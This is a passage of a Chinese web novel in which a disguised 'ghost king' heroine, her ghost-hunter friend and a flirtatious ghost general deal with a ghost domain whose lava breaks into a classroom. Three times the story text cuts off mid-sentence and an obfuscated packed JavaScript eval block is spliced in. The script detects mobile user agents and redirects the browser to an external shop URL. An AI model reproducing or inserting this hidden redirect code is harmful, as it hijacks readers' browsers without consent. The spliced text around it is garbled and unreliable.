「越珑是主角,这个鬼域只是一个连环杀人犯被反杀之后,因为怨恨形成的小型鬼域,那种连反派都算不上的炮灰不可能对越珑造成危险的。」 系统回答。 「越珑一定能轻轻松松再杀他一次的!」 系统很确信地回答。 ‘但这个教室的其他人会死。’ 闵朝言说。 即使是最小最弱的鬼域,对于普通人来说,依然是极端的恐怖和危险沼泽。 这个教室里的学生们,也许有一部分人能幸存,但也一定会有一部分人死在鬼域里。 这很正常。 「可能吧?但是他们只是路人甲而已,又不影响后续的情节发展。你在乎他们吗?」 系统有点疑惑。 怎么可能, 闵朝言才不是会管别人死活的性格。 闵朝言的视线落下,她转头看向越珑。 越珑此刻正在低头认真钻研着自己的画稿,她手边翻着六七个拔开了盖子的马克笔,食指上有墨水的残色。 ‘越珑在乎。’ 她说。 闵朝言不在乎这间教室里的绝大部分人,也许会出手救下顾羽,会看着木灼青让她别被袭击,但不会再管任何别的人了。 但越珑不会的。 她会想要救下所有人,任何人,一切可能会受伤的人, 越珑都会竭尽全力去救。 但越珑又不是长了八只脚的章鱼,不能同时把所有人救下来,最终还是有人会死的。 ‘还没有到主角需要看着同类死去的情节点。’ 闵朝言最终只是这样说。 之前闵朝言故意触发了礼堂鬼域,在那个鬼域里,她已经完成了“越珑在鬼域中救下木灼青”“越珑救下顾羽”的剧情点。 所以,现在她需要补全的,其实只剩下一个简单情节: “越珑针对终魇鬼域的封印开始松动”。 ‘会有办法的。’ 闵朝言说。 让她完成任务,同时不让越珑太痛苦的方法。 …… 系统久久没有说话。 闵朝言的视线顺着越珑的动作下落,一直到她手中的画稿上。 依然让人看不懂的线条,闵朝言莫名心生一股躁意,忽然心中升腾起要将什么破坏践踏的欲·望。 她还没搞明白自己的这股诡异的破坏欲从何而来,忽然看到一只挂满了碎肉的荆棘枝条直直冲着越珑正在画稿的手臂而去—— “!” 闵朝言猛地伸出手想要去抓,去握住了一片空气。 那只是个幻影。 “朝言?你怎么了?” 越珑转过头看着闵朝言,有点疑惑地握住她的手。 “……没事,低血糖。” 闵朝言没有收回手,眨了眨眼,低下头。 “你今天早上吃得太少啦,不舒服的话,我们先走吗?” 越珑小声问。 “不用。” 闵朝言摇头。 她低头,瞳孔倒映出一片燃烧的岩浆。 可脚下的触感分明是最普通的塑胶地板。 ‘系统,怎么回事?’ 她压下心中的烦闷,问。 「是鬼视!你作为鬼王的力量在逐渐强大,所以开始可以看到被封印在现世之下的鬼域了。」 系统回答。 这世上有许多鬼域,不断在诞生,也不断在消失。 像是之前的礼堂鬼域,即使闵朝言她们不进入其中化解麓雪的执念,在麓雪死后,这个鬼域也会自然消失。 鬼域的区域并不相连,但能量的本源是共通的,它们的核心能源,都来自唯一一个无法被消灭的巨大鬼域: 终魇鬼域。 终魇鬼域是这世上所有阴气的集合,即使是千年前那位天纵奇才的捉鬼人,舍弃性命,也只能将其封印。 其他鬼域,由鬼域主人的执念而生,鬼域主人越强,鬼域越强。 而终魇鬼域则恰恰相反,它是所有鬼域的最高层,拥有着极高的位格和权柄,甚至可以反向诞育出自己的主人:一个纯阴气组成的聚集体——鬼王。 她们共享位格和权柄, 终魇鬼域越强大,鬼王越强大。 「随着封印的松动,终魇鬼域可以输送给你的能量越来越多,你的力量会变得更强,也更加能够控制鬼域。不过,这也意味着……」 系统的声音低下去。 一股饥饿席卷了闵朝言的意识,来势汹汹,不可抵抗,几乎是呼啸着掠过了身体的每一个部分,将所有的温度都吞噬。 闵朝言感觉到自己的体温正在急速下降,这是她体内阳气快速消耗的标志。 「你越强,身上的阴气就越多,维持人类伪装需要消耗和获取的“阳气”也就越来越多了!闵朝言,你要化尸了!」 系统急促地说道。 化尸? 不,现在不行! 闵朝言皱起眉,她下意识将目光投向顾羽,那是她的“专属血包”。 然而,现在坐在教室另一端的顾羽,显然帮不上忙。 最好吃的没有了,那最强大的呢? 闵朝言又看向越珑。 不行, 越珑是捉鬼人,闵朝言现在还不能在她面前暴露身份,如果通过和越珑接触来补充阳气,万一速度赶不上消耗速度,她就要在越珑面前尸化了! 闵朝言虽然现在有了帮助越珑完成梦想的打算,但不代表她打算完全放弃自己的剧情点积分。 刚何况, 如果越珑发现了她的真实身份…… 捉鬼人怎么会和新诞生的鬼王为伍呢。 怎么办? 闵朝言的指甲深深陷入掌心。 先跑算了! 闵朝言正准备站起来,就像是她刚刚来到这个副本时,先跑到一个没有人的地方再说。 快走,快走! 闵朝言的左手几乎已经完全化为只属于尸体的青白色,她将手臂藏进校服长袖里,心跳声愈发缓慢,近乎停滞。 然而,在她起身前,后颈处却传来一个比她更加冰冷的温度。 是谁?! 闵朝言猛地转过头看去,林月诀弯起一双桃花眼,轻咬住自己的舌尖,黑曜石一样眼睛里没有一丝光亮,只带着狡黠笑意。 “嘘,不怕。” 他的指尖缓慢摩挲着闵朝言的后颈,仿佛那是什么极其宝贵的稀世玉器,动作轻柔,掠过皮肤,是带着冷意的痒。 「闵、闵朝言……」 系统愣住了。 闵朝言知道它要说什么,她甚至比系统更先一步感觉到了。 有一股暖流,顺着林月诀冰凉的指尖涌入她的身体里,充盈,蓬勃,无限生机盎然。 是阳气,而且是极其精纯的阳气。 “你看,现在不是没关系了吗?” 林月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16556667|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诀笑着,附在闵朝言耳边,他的唇柔软至极,压在闵朝言耳廓边上,仿佛要将她的一部分揉进自己体内: “你看上去,又是一个小人类了哦。” 他的指尖不着痕迹地划过闵朝言的左肩,让那股暖流涌向她已经泛起青白色,渐成利爪形态的左手。 瞬间,一切复原,她肢体的温度也回到了体温偏低的人类状态。 闵朝言睁大了眼睛,直直看着他,看进那双漆黑无光的瞳孔里。 林月诀, 他到底是谁?! 哐——!!! 教室的另一边,一声巨响传来,是顾羽,他黑着脸,一拳砸碎了墙边的瓷砖,此刻手背正滴滴答答渗出血来。 “干什么呢!?上课不好好上,你要去开全武行?!” 台上正在板书的老师转过身来,横眉冷目喝道。 “对不起,老师,我不小心碰到的。” 顾羽站起来,低头道歉,眼神却直直刺向林月诀的方向。 不要脸的骚狐狸。 他用恶狠狠的目光瞪着林月诀。 林月诀会过去一瞥,眼中笑意尽消,手指轻轻抵在唇瓣上,在那泛着莹润色泽的饱满上压出来一点暧昧的弧度。 !!! 顾羽恨恨。 他一眼就看出来,林月诀此刻轻吻着的,就是刚才划过闵朝言肌肤的那根手指。 到时候就给他砍了! 顾羽咬牙。 “好了,坐下吧,到时候自己去教务处赔偿损失。” 老师没好气地白了他一眼。 “好。” 顾羽点头。 “老师,这里瓷砖碎了,我可以换个位置吗?” 在老师没好气的回答中,顾羽快步走向了第二排,坐在了闵朝言侧后方。 “你还好吗?你刚才看起来不舒服。” 顾羽低声问闵朝言,语气关切。 “没事,低血糖。” 闵朝言用了同一个借口回答。 “越珑说你早饭吃得少,我就怕这个。” 顾羽说着,从口袋里拿出一块巧克力递给闵朝言。 “你先吃点,等下我带你去吃饭。” 林月诀撑着下巴,饶有趣味地看着眼前的互动,眼神中还有些嘲讽。 闵朝言接过顾羽手中的巧克力,还没说话,对方又靠着优越的臂长,将已经插好了吸管的牛奶放在了闵朝言的桌面上。 “你等下想吃什么?” 顾羽问。 “辣的。” 闵朝言吃着巧克力,回答。 她最近对这种明明是一种痛觉体验却被人类当成了饮食特色的食物风格非常好奇。 …… 林月诀看着闵朝言动作自如地接过顾羽手中的零食,眼中有一瞬间的怔愣,随后,眼中泛起更浓重的笑意。 “我可以加入你们吗?我很好奇,你喜欢吃的东西。” 他出声问。 “这可就不太方便了。” 顾羽的声音冷下来。 “那,我们两个去吃东西吧?我想,朝言应该也想单独和我说说话吧?” 林月诀眼中的笑意不减反增,直直看向闵朝言。 闵朝言吃着巧克力,左边脸颊微微鼓起来一点,她的眼神看了下顾羽,又看了下林月诀,似乎在犹豫。 最终,就在闵朝言的视线缓缓定格在林月诀身上时,越珑出声了: “不如我们都一起去吧!正好,就当社团第一次聚会了!” 社团聚会? 闵朝言咽下最后一块巧克力,没有提出异议。 42. 校园鬼域(21) 九点五十九分。 闵朝言看着教室正前方的时钟走到一个即将完整的最后一圈。 倒映在时钟之后的,是愈发沸腾的岩浆,一步步向前涌来。 不对。 闵朝言缓缓皱起眉。 这个岩浆的影子,是不是越来越“实”了? 从半透明的幻影一点点变得更加清晰,细节凝实,逐渐向闵朝言的方向靠过来。 是她的“鬼视”能力更强了, 还是—— 闵朝言心中浮现起不太好的预感。 还是—— 下一秒,时钟的玻璃表面被灼热的岩浆炸开! 岩浆透过两界的阻隔,进入了现实?! 教室中响起大大小小的惊呼声,正站在时钟底下奋笔板书的老师听见叫声,正欲开吼强调纪律,却被一股巨力直直踹开! !!这是干什么!太没有纪律了!!! 老师重重摔在地上,怒火还未爆发,却看见自己刚才站着的位置此刻已经被滚烫的岩浆覆盖,地上的瓷砖被烫到炸开,碎片中是她瞪大了的眼睛。 岩浆对面,惊险一脚救下老师的越珑正在喘着粗气。 幸亏闵朝言选的是第一排的座位。 越珑忍不住想。 什么?这是什么?!!! 老师这辈子从没见过真正的岩浆,那滚烫的温度透过空气,将恐惧膨胀成无数倍。 “同学们,快走!现在马上从后门离开!!!” 她从地上爬起来,声嘶力竭地大喊着,她的脚步趔趄,每一步都颤抖。 她拔腿,肾上腺素麻痹了疼痛,向前跑去,却不是冲着近在咫尺的门外。 “快走,快走!” 她冲向教室的角落里,那里有几个睡着了的学生,刚刚被尖叫声吵醒,还没完全清醒,正在揉眼睛。 老师冲过去,一手抓一个,把人从椅子上扯起来。 “快走,马上疏散!不要管别人,自己往外跑!” 她高声喊着,把手上拎着的两个学生塞出门外,又折返回来去拽那些跑得慢的。 岩浆从教室天花四角缓缓溢出,在极高的温度之下,墙壁开始崩裂,飞速增长的裂痕仿佛怪物裂开的嘴,组成凌乱扭曲的笑容。 “这、这是怎么回事?” 顾羽惊讶地瞪大眼,紧紧握住闵朝言的手。 “鬼域入侵了现实,这里有什么东西,在给它指路。” 越珑的声音凝重,她的视线抬起,缓缓停在了一张脸上。 林月诀笑着对她眨眨眼,似乎对现在这个情况没有半点惊慌。 “哇,好冤枉。” 他轻轻叹了口气,漂亮鸦羽一般的睫毛垂下,一副被误解的可怜样子。 “你们快走!” 越珑没有理会他,转头对着木灼青和闵朝言说。 “你也走!” 木灼青急了,一把拉住她的肩膀。 “不行,我要留下,不消灭这个鬼域,它对现实的侵入就不会停止。” 越珑将木灼青的手将自己身上拔下。 “我陪你!” 木灼青红了眼睛。 “朝言,带她走!” 越珑咬着牙,低声说。 闵朝言拉住木灼青的肩膀,她比一米六不到的木灼青高了半个脑袋,很轻松地就能一把将人扛到自己肩膀上。 “朝言,你跑吧,放我下去,求你了,” 木灼青也不敢挣扎,怕自己耽误了闵朝言的求生速度,只能小声哀求。 顾羽拉着闵朝言的手一路向前跑。 然而就在三人离后门越来越近时,那岩浆被触怒了一般,狂暴地向外涌出,将门框融化。 在岩浆即将落下的一刻,顾羽只来得及一脚将正在向外跑去的学生踹出门,自己反手抱紧了闵朝言。 木灼青找到了机会,从闵朝言身上跳下来,又往越珑的方向跑去了。 不行, 现在已经没办法毫发无伤地离开了。 顾羽的眼中倒映着沸腾的岩浆,心跳声太快,吵得让他怀疑自己下一刻就因心脏撕裂而亡。 “我挡着你,你往外跑。” 到了这一刻,顾羽的声音反而平静下来,他低下头,脸颊抵在闵朝言发间,深呼吸着。 “我不会让你受伤的。” 他很慢地说。 闵朝言看着他,没有说话。 她也说不上自己现在是什么感觉。 为什么要为别人这样牺牲,让自己受伤? 哦,因为顾羽喜欢她。 喜欢,可以让人放弃自己的生命吗? 顾羽只是一个人类,要是被岩浆淋了一身,不单单要死,而且必然是以对人类而言极为痛苦的方法死去。 如果是这样的话, 那么“喜欢”,对于人类而言,必然是非常危险又可怕的东西。 “顾羽。” 闵朝言看着他的脸,很认真地,在“看”。 但她没有再说话,只是闭上眼,在他的脸颊上落下一个吻。 无关情·欲,也不带什么或特别或深刻的东西。 也许吻本来就只需要这么简单。 “你怎么跑回来了?!” 越珑伸出手接住扑向自己的木灼青,惊讶地睁大了眼睛。 “岩浆把教室包围了,我出不去了。你带着我吧,保护我。你别害怕,我不会死的。” 木灼青握住越珑的手。 “……好。” 越珑也握住她的手。 岩浆还在向外溢出,已经布满了裂痕的墙壁不堪重负,随着可能崩塌。 “同学们!你们找一个地方躲起来,老师会找人来救你们的!!!” 教室外,老师声音已经喊哑了。 越珑随手将一把椅子砸在墙上,算是用声音给外面一些回应。 “让它停下来。” 她的声音沉郁。 她的手死死掐在林月诀的脖子上,对方此刻因为窒息脸颊涨红,双手抵在越珑的手腕上,却挪不开这铸铁一样的力道。 “冤枉呀,真的,不是我……” 他勉强挤出一点声音,眼中却带着笑。 “你只怀疑别人,一点都不怀疑自己吗?” 林月诀的声音断断续续。 “我为什么要怀疑自己?” 越珑愈发用力起来。 林月诀毫不怀疑,她会把自己的脖子直接捏断。 当然, 他也毫不在意这一点。 林月诀不再说话,他也说不出话了,在即将失去意识的前一秒,越珑松手,他直接摔到地上。 “我好可怜,是不是?” 他抬眼看着闵朝言,声音是虚弱的哑,黑曜石眼珠蒙着一层生理性泪水,闪着润莹的光。 “我得进一趟鬼域,” 越珑低声说。 “但是,会把你们也卷进去。” 她犹豫着。 “有你在,怕什么?” 闵朝言走到她身边,笑了一声。 越珑的视线久久停留在闵朝言勾起的唇上,忽然也笑了,点头: “嗯,有我在,你不用怕。” 在被困在火场的五人中,只有闵朝言穿的是校服。 此刻,越珑的手摸着她的领口,缓缓扯下了那上面的一颗扣子。 纯黑色的扣子,映出一点火光燃烧。 有一瞬间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16563930|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闵朝言以为自己望进了林月诀的眼睛。 岩浆蔓延着,已经摇摇欲坠的墙壁再也支撑不住多一秒,轰然倒塌。 教室中已经空无一人。 -鬼域- 炽热的空气沸腾着,连呼吸都变得滚烫。 闵朝言睁开眼睛, 视线中几乎没有任何其他颜色,天地间只剩下一片燃烧着的红色。 她独自站在岩浆中,身边空无一人。 粘稠的岩浆向她涌来,触碰到她的手指,却没有留下任何伤口,化作温热的小蛇在她掌心安静地趴伏下来。 她是鬼王, 鬼域中,从来就没有任何东西可以伤害到她。 闵朝言垂下眼, 岩浆化作一个红色的圆团子,在她手心里被随意揉捏着。 “这个画面真是可爱。” 一个声音响起,甜蜜,炙热,在这个空间里格外显得滚烫。 林月诀? 闵朝言抬眼去看,眼前却依然只有一片岩浆涌动。 “在这里呢。” 一双手从背后拥住她,青白色,即使在岩浆中,也显得冰凉刺骨。 闵朝言转过头,看到他的脸。 红色的火光映着他的脸庞,依然美丽,青白的肤色并不僵化,反而显出翡翠般的晶莹质感,他的指尖扣住闵朝言的腰身,带来恰到好处的清凉。 温度对于他的影响,比对闵朝言的影响更小。 “你是鬼。” 闵朝言看着他。 都这幅样子了,还有什么猜不出来的。 但是他是哪个鬼? 化作人类加入越珑的社团,又有什么目的? 目的暂时想不出来, 他是哪个鬼,闵朝言似乎知道了。 “鬼将·瞬嵐。” 闵朝言说。 她进入副本之后,只接触过,不,甚至算不上接触过的,只有瞬嵐一只有名有姓的鬼。 怪不得林月诀作为一个凭空出现的角色,却没有因此副本任何异常的能量波动, 因为他人类假面之下的那只鬼,本身就是一直存在着的。 但在原剧情中,瞬嵐只在中期才出现,为了向越式复仇而设下陷阱,是越珑成长道路上摔的第一个大跟头。 为什么他现在就出来了? “我的王认出我了,真开心呀。” 林月诀笑着凑近她,眨了眨眼,那浓密而纤长的睫毛,似有似无地滑过她的侧脸。 “这是怎么回事?” 闵朝言问。 “动用了一点小手段,我们才可以单独说说话呀。” 林月诀回答。 “我们有什么单独可说的。” 闵朝言皱起眉。 在这个副本的世界观里, 鬼王诞生于终魇鬼域,生来是所有鬼域的主人,所有的鬼域,都无条件地向她臣服。 然而,鬼域主人们,却并非如此。 恰恰相反,鬼王与鬼域主人们,处于互相竞争的生态位上。 待鬼王长成之时,会吸纳所有鬼域的能量,而失去了鬼域的鬼域主人,当然只剩下了死路一条。 为了生存,他们必须杀死鬼王。 这也是为什么在原剧情中,鬼王会在幼年时就离开鬼域,潜伏在越珑身边——她要躲避其他鬼域主人的追杀,捉鬼人身边反而是最安全的地方。 整个主线的前半段,鬼王故意触发了很多鬼域,让越珑替她杀了不少鬼。 鬼将·瞬嵐,也是其中之一。 “怎么没有呢?” 林月诀笑着,声音缠绵: “如果我要杀死你的话,不是至少,应该送上一场浪漫而美丽的死亡吗?” 43. 校园鬼域(22) ——!! 肢体倒地的声音此起彼伏。 越珑脸上沾上黏稠的血迹,双眼在昏暗的红色中发亮。 她手中长刀闪过寒光,利刃处已经开始卷刃。 这是进入鬼域之后,她杀死的不知道第多少只鬼。 这个鬼域是一个屠杀型的鬼域,鬼域主人的执念,是纯然的杀欲。 这种执念无法化解,只能全部杀灭。 但是,这个鬼域里由杀意化成的怪物,却仿佛无穷无尽,不断从岩浆中涌出。 这样杀下去, 要杀到什么时候?! 越珑冷着脸将冲过来的怪物劈成两半,眼神沉郁。 木灼青战斗力一般,但她向来很清楚自己的这个问题,所以绝不和这些怪物正面战斗,而是利用自己的灵巧闪避,将怪物引到越珑的刀刃之下。 二人默契非常,不需要任何言语,便能配合战斗。 “我们得去找闵朝言。” 木灼青再次躲开怪物的一击,对着越珑说。 进入鬼域之后,她们便分散开了,越珑一直没有看到闵朝言的身影。 “不,我们不能去。” 越珑却马上否定。 木灼青愣了一下, 她似乎觉得不可置信,越珑怎么可能会拒绝去救人呢? “鬼域中的杀意全部向我而来,她那边就不会遭遇到怪物袭击。” 越珑说。 她再次劈碎一个杀意怪物,汗水还未滑落就被沸腾的空气蒸发。 “好。” 木灼青点头。 “那我们怎么找鬼域主人?” 她大声问。 “杀到最后一个。” 越珑的声音绷紧。 杀到最后一个, 鬼域主人自然就不得不出现。 越珑是对的,她成功吸引走了副本中所有的杀意怪物。 当顾羽醒来,发现自己躺在一块冰冷的岩石上,浑身上下的骨头都有种被狠狠砸碎之后再重组起来的酸痛感。 他支撑着自己坐起来,忽然意识到什么,强忍着疼痛向四周看去。 没有,没有! 人呢? 他与闵朝言,与其他人都失散了。 顾羽的眼神中闪过一丝慌张。 一股暖流滑过顾羽的肌肤,这是什么东西? 他疑惑地低头看去,随后,缓缓瞪大了眼睛。 ——那是一泓深红色,沸腾着的岩浆。 而顾羽所在的,也不是什么冰冷的岩石, 而是一块在岩浆中,已经被烧得通红,开始碎裂的石头。 怎么会?为什么? 他看着自己的手,他分明感受到自己已经窒息,甚至几乎无法呼吸, 可心跳声, 却越来越慢了。 不,他为什么会这样? 一种空前的恐惧俘获了顾羽的心脏,他不敢继续向下想去。 朝言, 找到朝言! 在顾羽拒绝继续思考的大脑里,只剩下这一句话。 可是, 怎么找到她? 什么东西, 能引领着他走向她? 在黏稠扭曲的空气中,顾羽闻到一股香气,浅淡而绵长,无法忽略的,让他下意识追寻的味道。 “别闻了。” 闵朝言翻了个白眼,一脚踹开了正在嗅闻她头发的男鬼。 林月诀对着她眨眨眼,柔软而饱满的唇勾起,轻吻着自己曾拂过她发间的手指。 “是你太香了,我的王。” 他咬住自己的指尖,像是在借此抚慰唇齿间的痒意。 对于鬼将来说,鬼王的血肉是最上等的补品, 举手投足间,都散发着致命而诱惑的香气。 闵朝言没有说话,她并不擅长这种不知道是调情还是废话的沟通, 她只是将手放在背后,默默召唤出了[溺亡者]。 “您比我想象中,要迷人多了。” 林月诀笑着说。 回答他的,是狠狠一记鞭影。 “哇,好无情。” 林月诀轻巧地闪身躲过,腰肢折出柔软的弧度,那快到肉眼不可见的一鞭,甚至都没有触碰到他的衣角。 “连话都不愿意和我说了?我可是那么认真地取悦了你呢。” 暧昧不清的话语间, 林月诀鬼魅一般出现在闵朝言身后,唇瓣掠过她的耳尖。 闵朝言迅速转身,又是一脚踹过去! 她本来没想过自己能踹中, 脚下的触感却告诉她,她结结实实地命中了目标。 怎么现在又不躲了? 闵朝言疑惑间,脚踝被握住,整个人被拉进对方的怀中。 啧。 闵朝言不耐地皱眉。 她的能力会受到自己副本角色的影响,就像她现在的身份是“幼年期鬼王”,所以实力也会被压制到角色目前该有的层次。 如果是真实状态的闵朝言, 不说能速杀林月诀,至少不至于被这样一拉就抱住! 她抬起头, 狠狠瞪着林月诀,却被对方轻快地在鼻尖啄了一下。 不带旖旎,玩闹一般的吻, 甚至有点纯情的味道。 闵朝言挑眉。 “为什么亲鼻子?” 她放任了自己不合时宜的好奇心。 一向满嘴甜腻挑逗的林月诀这次却没接话,视线在她的唇间游移。 “你没亲过人?” 闵朝言笑了出来。 她也的确觉得很好笑。 一个满嘴骚话,时常暧昧挑逗,做出种种勾引情态的人,居然连初吻还在吗? 再一回想,林月诀的勾引其实常常都是在玩自己,连肢体接触其实只是边边角角地碰过闵朝言的头发、手臂…… 闵朝言一直以为这是狐狸精若即若离的高端技法, 但是原来,可能只是害羞吗?! “我可是属于您的,当然要保持干净,才能被好好享用呀。” 林月诀凑上前,和她鼻尖相抵, 白到透明的肌肤下,耳尖泛起的红意蔓延。 “我一直在等着被您采撷呢。” 他饱满红润的唇瓣扬起, 仿佛玫瑰盛放的花瓣飘动。 鬼使神差地,闵朝言伸出手,按在那双唇上,那触感和她想象中一样,软肉乖顺地陷下去,仿佛裹住她的肌肤,湿润温暖。 林月诀的舌尖轻轻舔过她的指腹,眼中带着笑意。 本就已经足够炽热的空气中,欲的味道悄然滋生,随着林月诀舔舐的动作升腾蔓延。 就在那暧昧的气泡即将化作实体时—— 闵朝言反手一鞭,箍住他的脖子,猛地收紧! “咳——!咳咳!” 林月诀剧烈咳嗽了几声,一双桃花眼里被逼出一点泪水,漆黑无光的眸子蒙上一层盈盈水雾,几近欲泣般,看向闵朝言。 闵朝言有点嫌弃地皱眉。 “鬼不会窒息,也不会哭。” 她说。 小把戏被揭穿,林月诀也不尴尬,对着她眨了眨眼。 “我以为你喜欢这个玩法呢。” 他说着,装模作样叹了口气, “还是顾羽好呀,有一具真正的人类身体,这种反应都是真实的,一定很好玩吧。” 林月诀凑近闵朝言,撒娇一样: “你说,要不我去向他讨教一下怎么样?” 闵朝言没搭理他。 她其实也不清楚如果把林月诀的脑袋捏下来,能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568613|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能杀死对方,在原剧情中,杀死鬼将的唯一方法,就是摧毁他们的鬼域。 就是总觉得,不治治他,心里很不爽。 但是明明现在治了他, 怎么感觉还是林月诀更爽了? 闵朝言坚信自己对于“感情”的理解和体会已经有了长足的进步,但可能神经病和变态的感情是更复杂的项目,她依然思考不明白。 有点无力。 “你到底想干什么?” 闵朝言问。 林月诀见她终于开口了,露出一点胜利的狡黠表情,桃花眼弯成了月牙。 “一开始呢,我是想杀了你的,正巧你进入了那个孩子的鬼域,我就附身到了顾羽身上,想要借机吃掉你。” “不过,看到你之后,我有点改变主意了,尤其是,看了你是怎么‘吃’掉顾羽的之后。我虽然不能控制身体,却能和他共感,所以……” 林月诀轻轻舔着闵朝言的手指,舌尖缠着她,留下一行晶莹水渍。 “我也想被你‘吃’掉了,全部的,完整的,用我自己的身体。” “我很认真地练习过了,一定比他更能符合你的心意,你看,我的舌头更长,更灵活,不是吗?” 林月诀说着,伸出手搂住闵朝言的腰,毫不顾忌脖颈上愈发收紧的鞭子已经快要将他的头颅绞下来。 “在那之后,再给我一场浪漫而盛大的死亡吧。” “我的主人。” 空气将欲念蒸腾,岩浆依然涌流着,不断蚕食着岩石,从每一处裂缝中涌入,灌满所有空虚。 仿佛一场注定粉身碎骨的拥抱。 越珑劈碎了眼前的最后一个怪物。 血迹飞溅,她的手上、脸上都已然没有一块空白的肌肤可言。 还有多少? 被红色模糊的视线中,已经没有站立的生物,每走一步,脚下都只会踩上碎裂的血肉,像是一张过于滑腻的地毯。 “还有吗?” 她听见自己的声音问,明明只是胸腔中发出的声音,听起来却很遥远。 没有了。 无声的风回答她。 已经卷刃的长刀,被丢弃在地上,越珑放任自己躺倒,身边有一个人走近,坐在身边,握住那双因为长久握持着武器,此刻已经僵硬颤抖的手。 是木灼青。 “没有了。” 她说。 越珑感受到身下那一片滑腻的“地毯”正在缓缓消融,这是鬼域消失的迹象。 这个鬼域的主人已经没有了自我意识,只剩下杀意的执念残留,这一片鬼域中,只有岩浆和怪物, 没有意识,没有故事,也不会有释然。 随着“地毯”的消失,地面变得有些硌人,越珑皱起眉,她拉了拉木灼青的手。 “扶我起来。” 她说。 木灼青用了很大力气才扶着越珑坐起来,即使只是引怪,这么长时间的作战也让她的体力耗尽了。 “怎么了?” 木灼青问。 越珑没回答,她的双手不断摸索着地面,那漆黑一片的岩石表面早已经风化,上面的纹路早就看不清楚,只能用触觉来感知。 随着双手抚摸过的地面越来越多,越珑的眼睛也缓缓瞪大,她的动作急促起来,喃喃说着什么。 不,不对,怎么会? 现在还不行,不行,来不及, 她还没有——!! 红色的炼狱瞬间消失,越珑的手心被碎玻璃划破,疼痛勉强唤回了她的理智。 木灼青扶住坐不稳的越珑,很担忧: “怎么了?” “不,没什么。” 越珑回过神来,摇摇头,轻声: “没什么,我会做到的。” 一定, 一定可以的。 44. 校园鬼域(23) [检测到剧情节点已完成!] 提示音在闵朝言耳边响起, 她知道,这是越珑已经发现封印松动了。 这也就意味着,越珑知道了新鬼王的诞生。 终究,她会知道闵朝言的身份。 想到原剧情中主角手刃鬼王的结局,闵朝言在黑暗中垂眼。 救援队们搬开石板, 闵朝言五人正坐在一个坍塌钢架顶起的三角形空间里。 五人仿佛各自从不同的梦中醒来,脸上神情各异。 “太好了,幸好你们都没事。” 老师松了一口气,她疲累的脸上,终于露出一个笑来。 “先去医院检查身体,然后回去休息吧。” 她说。 “老师,我们没事。” 越珑摇摇头,站起来, “我们没有受伤,可以直接回去休息吗?” “……是、是啊,我也想回去休息了,别去医院了。” 顾羽也开口说。 老师有点为难,她一方面希望这些学生们进行一个彻底的身体检查,保证她们确实没有受伤,一方面又觉得,让刚刚经历过如此险境的孩子再去折腾一趟,实在有点不人道。 “那让校医给你们做一个基础的检查,如果没什么问题的话,你们就去休息吧。” 老师犹豫了一下,说道。 校医早早就赶了过来,不到十五分钟,就放几人离开了。 五人同行,却是一路沉默,直到走进偏僻无人的角落中。 “所以,为了庆祝劫后余生,我们是不是应该吃点好东西庆祝一下?” 林月诀笑盈盈地看着其余四人。 他的视线从顾羽身上扫过,最后落在越珑脸上。 “社长,你看上去很累呢。” 他眨了眨眼睛。 “你到底是谁,为什么会知道鬼域的存在?” 越珑面无表情地看向他,手中有刀影呼之欲出。 她从一开始就觉得林月诀不对劲。 这个人出现得很蹊跷,明明长了一张狐狸精的惑人面孔,可在那天晚上他突然递出入社申请书之前,越珑完全没有听说过他的存在。 这是很不正常的,在大学里两种人绝不可能被忽略, 好看的人,和好笑的人。 比如,越珑在入学第二天就知道了学生会副会长顾羽这个人,在表白墙上刷到了十几次他的名字和照片。 而林月诀是个毫无争议的顶级美人,他绝不可能寂寂无名。 越珑确认自己在入学的前两周里,已经搜集到了大量的有效信息,如果林月诀也在其中,她一定会知道。 所以, 她没听说过林月诀,只能证明这个人之前并不存在。 从第一面开始,越珑就对林月诀抱着警惕之心,这是她同意林月诀入社最重要的原因: 她要把这个人在眼皮子底下放着, 直到查清他的身份,找出他的目的。 “你对鬼域并不惊讶,看到鬼域入侵现实时也没有恐惧,你到底是什么人!” 越珑皱起眉,手中刀影凝实,向林月诀扫去! ——刀影停下,离他的眼睛只有毫米的距离。 “好凶啊,表姐。” 林月诀脸上的笑容没有改变,左手手背拨开刀刃,声音轻快: “怎么,这世上的捉鬼人,只许你们越家向下传承吗?” 听见这个回答,越珑一愣,没有收回武器。 “谁知道你是不是在说瞎话诳我!” 她皱眉。 林月诀眼中笑意不变: “我骗你做什么呢?你现在的时间都已经那么紧张了。” “封印已经松动了,不是吗?” 他的声音里含着蜜,说出来的消息却让越珑心下冰凉。 越珑握着刀的手缓缓放了下去。 “你看到封印了?” 她问。 